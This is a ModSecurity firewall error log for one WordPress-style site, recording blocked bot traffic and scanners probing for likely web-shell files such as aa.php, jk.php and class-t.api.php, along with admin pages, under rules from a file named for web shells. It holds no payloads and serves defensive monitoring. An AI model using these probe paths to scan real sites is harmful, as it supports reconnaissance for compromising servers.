[Mon May 04 18:05:53.915841 2026] [:error] [pid 61043:tid 61082] [client 209.87.169.61:46491] [client 209.87.169.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "afhvgZ8-LwtfURjiAbCeEgAAAEc"]
[Mon May 04 19:34:56.885825 2026] [:error] [pid 3341:tid 3364] [client 185.198.240.248:34665] [client 185.198.240.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "afiEYE9o3_LordU0wW476QAAAJQ"]
[Mon May 04 19:35:06.563468 2026] [:error] [pid 61150:tid 61176] [client 2.58.56.181:53633] [client 2.58.56.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "afiEau8QXWVLiwIGVpd2NwAAAVc"]
[Mon May 04 19:35:06.812045 2026] [:error] [pid 61043:tid 61084] [client 2.58.56.181:53625] [client 2.58.56.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "afiEap8-LwtfURjiAbCyMQAAAEk"]
[Mon May 04 19:35:07.066884 2026] [:error] [pid 61150:tid 61175] [client 2.58.56.181:53630] [client 2.58.56.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "afiEa-8QXWVLiwIGVpd2OQAAAVY"]
[Mon May 04 19:35:07.328032 2026] [:error] [pid 61150:tid 61166] [client 2.58.56.181:53611] [client 2.58.56.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "afiEa-8QXWVLiwIGVpd2OwAAAU0"]
[Mon May 04 19:35:07.829611 2026] [:error] [pid 61150:tid 61155] [client 2.58.56.181:61998] [client 2.58.56.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "afiEa-8QXWVLiwIGVpd2PQAAAUI"]
[Mon May 04 20:24:08.483054 2026] [:error] [pid 32471:tid 32479] [client 34.24.211.32:53387] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afiP6Hmjpb9EYq6AqhJVCgAAAQU"]
[Mon May 04 20:24:08.970781 2026] [:error] [pid 3341:tid 3359] [client 34.24.211.32:57326] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afiP6E9o3_LordU0wW5SqQAAAI8"]
[Mon May 04 20:24:09.464505 2026] [:error] [pid 32471:tid 32489] [client 34.24.211.32:57919] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afiP6Xmjpb9EYq6AqhJVFQAAAQ8"]
[Mon May 04 20:35:44.779119 2026] [:error] [pid 61043:tid 61098] [client 43.140.247.223:60164] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afiSoJ8-LwtfURjiAbC_fwAAAFc"]
[Mon May 04 21:04:20.832794 2026] [:error] [pid 3341:tid 3348] [client 43.162.114.69:55698] [client 43.162.114.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afiZVE9o3_LordU0wW5jXAAAAIQ"]
[Mon May 04 21:34:19.267021 2026] [:error] [pid 3341:tid 3360] [client 43.166.255.102:33998] [client 43.166.255.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afigW09o3_LordU0wW5vkAAAAJA"]
[Mon May 04 23:43:55.967612 2026] [:error] [pid 3341:tid 3354] [client 20.29.119.89:64091] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "afi-u09o3_LordU0wW6bkQAAAIo"]
[Mon May 04 23:43:56.378705 2026] [:error] [pid 61043:tid 61094] [client 20.29.119.89:64649] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "afi-vJ8-LwtfURjiAbDn2wAAAFM"]
[Mon May 04 23:43:56.892146 2026] [:error] [pid 61042:tid 61063] [client 20.29.119.89:64117] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "afi-vEnAPPS1fjubA9RwVwAAANE"]
[Mon May 04 23:43:57.321109 2026] [:error] [pid 3341:tid 3349] [client 20.29.119.89:64119] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "afi-vU9o3_LordU0wW6blQAAAIU"]
[Mon May 04 23:43:57.876920 2026] [:error] [pid 3341:tid 3355] [client 20.29.119.89:65324] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "afi-vU9o3_LordU0wW6blgAAAIs"]
[Mon May 04 23:43:58.512846 2026] [:error] [pid 61044:tid 61113] [client 20.29.119.89:63440] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "afi-vkw8w2zZZXI6H1u4WwAAAAs"]
[Mon May 04 23:43:58.964482 2026] [:error] [pid 3341:tid 3348] [client 20.29.119.89:63472] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "afi-vk9o3_LordU0wW6bmAAAAIQ"]
[Mon May 04 23:43:59.392120 2026] [:error] [pid 3341:tid 3350] [client 20.29.119.89:64029] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "afi-v09o3_LordU0wW6bmQAAAIY"]
[Mon May 04 23:43:59.884130 2026] [:error] [pid 3341:tid 3366] [client 20.29.119.89:65282] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jk.php"] [unique_id "afi-v09o3_LordU0wW6bnQAAAJY"]
[Mon May 04 23:44:00.447369 2026] [:error] [pid 32471:tid 32485] [client 20.29.119.89:63448] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jk.php"] [unique_id "afi-wHmjpb9EYq6AqhKPpQAAAQs"]
[Mon May 04 23:44:00.947365 2026] [:error] [pid 32471:tid 32476] [client 20.29.119.89:64056] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jk.php"] [unique_id "afi-wHmjpb9EYq6AqhKPpgAAAQI"]
[Mon May 04 23:44:01.438016 2026] [:error] [pid 61043:tid 61092] [client 20.29.119.89:63476] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jk.php"] [unique_id "afi-wZ8-LwtfURjiAbDn4QAAAFE"]
[Mon May 04 23:44:02.029195 2026] [:error] [pid 3341:tid 3351] [client 20.29.119.89:64683] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gcqoa.php"] [unique_id "afi-wk9o3_LordU0wW6bpAAAAIc"]
[Mon May 04 23:44:02.583689 2026] [:error] [pid 61043:tid 61098] [client 20.29.119.89:64715] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gcqoa.php"] [unique_id "afi-wp8-LwtfURjiAbDn4wAAAFc"]
[Mon May 04 23:44:03.073694 2026] [:error] [pid 32471:tid 32494] [client 20.29.119.89:65285] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gcqoa.php"] [unique_id "afi-w3mjpb9EYq6AqhKPqAAAARQ"]
[Mon May 04 23:44:03.479701 2026] [:error] [pid 61042:tid 61057] [client 20.29.119.89:64007] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gcqoa.php"] [unique_id "afi-w0nAPPS1fjubA9RwWAAAAMs"]
[Mon May 04 23:44:04.191859 2026] [:error] [pid 3341:tid 3353] [client 20.29.119.89:64735] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugin-editor.php"] [unique_id "afi-xE9o3_LordU0wW6bqgAAAIk"]
[Mon May 04 23:44:04.667919 2026] [:error] [pid 3341:tid 3357] [client 20.29.119.89:64099] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugin-editor.php"] [unique_id "afi-xE9o3_LordU0wW6bqwAAAI0"]
[Mon May 04 23:44:05.219560 2026] [:error] [pid 61044:tid 61124] [client 20.29.119.89:64710] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugin-editor.php"] [unique_id "afi-xUw8w2zZZXI6H1u4XgAAABY"]
[Mon May 04 23:44:05.620297 2026] [:error] [pid 61043:tid 61087] [client 20.29.119.89:64051] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugin-editor.php"] [unique_id "afi-xZ8-LwtfURjiAbDn5QAAAEw"]
[Mon May 04 23:44:06.065357 2026] [:error] [pid 3341:tid 3348] [client 20.29.119.89:64743] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugin-install.php"] [unique_id "afi-xk9o3_LordU0wW6brAAAAIQ"]
[Mon May 04 23:44:06.499904 2026] [:error] [pid 32471:tid 32483] [client 20.29.119.89:63431] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugin-install.php"] [unique_id "afi-xnmjpb9EYq6AqhKPqgAAAQk"]
[Mon May 04 23:44:06.875363 2026] [:error] [pid 61042:tid 61068] [client 20.29.119.89:62777] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugin-install.php"] [unique_id "afi-xknAPPS1fjubA9RwWgAAANY"]
[Mon May 04 23:44:07.466030 2026] [:error] [pid 32471:tid 32479] [client 20.29.119.89:64723] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugin-install.php"] [unique_id "afi-x3mjpb9EYq6AqhKPrAAAAQU"]
[Mon May 04 23:44:07.881614 2026] [:error] [pid 32471:tid 32490] [client 20.29.119.89:65373] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profile.php"] [unique_id "afi-x3mjpb9EYq6AqhKPrgAAARA"]
[Mon May 04 23:44:08.416315 2026] [:error] [pid 61042:tid 61046] [client 20.29.119.89:64661] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profile.php"] [unique_id "afi-yEnAPPS1fjubA9RwWwAAAMA"]
[Mon May 04 23:44:08.906458 2026] [:error] [pid 61042:tid 61064] [client 20.29.119.89:64000] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profile.php"] [unique_id "afi-yEnAPPS1fjubA9RwXAAAANI"]
[Mon May 04 23:44:09.360909 2026] [:error] [pid 61042:tid 61056] [client 20.29.119.89:63456] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profile.php"] [unique_id "afi-yUnAPPS1fjubA9RwXQAAAMo"]
[Mon May 04 23:44:09.945746 2026] [:error] [pid 32471:tid 32484] [client 20.29.119.89:64672] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "afi-yXmjpb9EYq6AqhKPtQAAAQo"]
[Mon May 04 23:44:10.369237 2026] [:error] [pid 3341:tid 3364] [client 20.29.119.89:64762] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "afi-yk9o3_LordU0wW6bsQAAAJQ"]
[Mon May 04 23:44:10.834305 2026] [:error] [pid 3341:tid 3365] [client 20.29.119.89:64069] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "afi-yk9o3_LordU0wW6bswAAAJU"]
[Mon May 04 23:44:11.328784 2026] [:error] [pid 61044:tid 61121] [client 20.29.119.89:64765] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "afi-y0w8w2zZZXI6H1u4YAAAABM"]
[Mon May 04 23:44:11.841595 2026] [:error] [pid 61042:tid 61061] [client 20.29.119.89:64676] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "afi-y0nAPPS1fjubA9RwYAAAAM8"]
[Mon May 04 23:44:12.319914 2026] [:error] [pid 32471:tid 32495] [client 20.29.119.89:65362] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "afi-zHmjpb9EYq6AqhKPtgAAARU"]
[Mon May 04 23:44:12.830600 2026] [:error] [pid 3341:tid 3368] [client 20.29.119.89:63486] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "afi-zE9o3_LordU0wW6buAAAAJg"]
[Mon May 04 23:44:13.340962 2026] [:error] [pid 32471:tid 32477] [client 20.29.119.89:64751] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "afi-zXmjpb9EYq6AqhKPuAAAAQM"]
[Mon May 04 23:44:13.877337 2026] [:error] [pid 61043:tid 61093] [client 20.29.119.89:64698] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class-api.php"] [unique_id "afi-zZ8-LwtfURjiAbDn6QAAAFI"]
[Mon May 04 23:44:14.362782 2026] [:error] [pid 32471:tid 32497] [client 20.29.119.89:64022] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class-api.php"] [unique_id "afi-znmjpb9EYq6AqhKPugAAARc"]
[Mon May 04 23:44:14.815062 2026] [:error] [pid 32471:tid 32482] [client 20.29.119.89:64095] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class-api.php"] [unique_id "afi-znmjpb9EYq6AqhKPvAAAAQg"]
[Mon May 04 23:44:15.303355 2026] [:error] [pid 61043:tid 61095] [client 20.29.119.89:64728] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class-api.php"] [unique_id "afi-z58-LwtfURjiAbDn6wAAAFQ"]
[Mon May 04 23:44:15.735773 2026] [:error] [pid 61042:tid 61057] [client 20.29.119.89:65310] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class-atom.php"] [unique_id "afi-z0nAPPS1fjubA9RwZwAAAMs"]
[Mon May 04 23:44:16.243516 2026] [:error] [pid 3341:tid 3366] [client 20.29.119.89:64012] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class-atom.php"] [unique_id "afi-0E9o3_LordU0wW6buwAAAJY"]
